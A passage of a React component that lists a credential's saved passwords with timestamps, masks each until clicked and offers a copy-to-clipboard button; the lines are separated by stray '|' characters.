{cred.passwords.map((pwd, pwdIndex) => (
|
|
<div
|
|
key={pwdIndex}
|
|
className="flex items-center group relative"
|
|
>
|
|
<span className="text-xs text-gray-400 dark:text-gray-500 w-24 flex-shrink-0">
|
|
{formatDate(pwd.timestamp, 'short')}
|
|
</span>
|
|
<div className="flex-1 flex items-center">
|
|
<span
|
|
className="text-sm font-mono bg-gray-50 dark:bg-gray-700 text-gray-900 dark:text-white px-2 py-0.5 rounded flex-1 cursor-pointer"
|
|
onClick={() =>
|
|
revealedPasswords.includes(`${cred._id}-${pwdIndex}`)
|
|
? null
|
|
: revealPassword(`${cred._id}-${pwdIndex}`)
|
|
}
|
|
>
|
|
{revealedPasswords.includes(`${cred._id}-${pwdIndex}`)
|
|
? pwd.value
|
|
: '••••••••'
|
|
}
|
|
</span>
|
|
<button
|
|
onClick={() => copyToClipboard(pwd.value)}
|
|
className="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 dark:text-gray-500 hover:text-gray-700 dark:hover:text-gray-300"
|
|
>
|
|
<Clipboard className="h-4 w-4" />
|
|
</button>
|
|
</div>
|
|
</div>
|
|
))}
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
)}
|
|
</div>
|
|
))}
|
|
</div>
|
|
)}
|
|
</div>
|
|
))}
|
|
</div>
|
|
)}
|
|
</div>
|
|
))}
|
|
</div>
|
|
)}
|
|
</div>
|
|
)}
|
|
</div>
|
|
</div>
|
|
);
|
|
}
|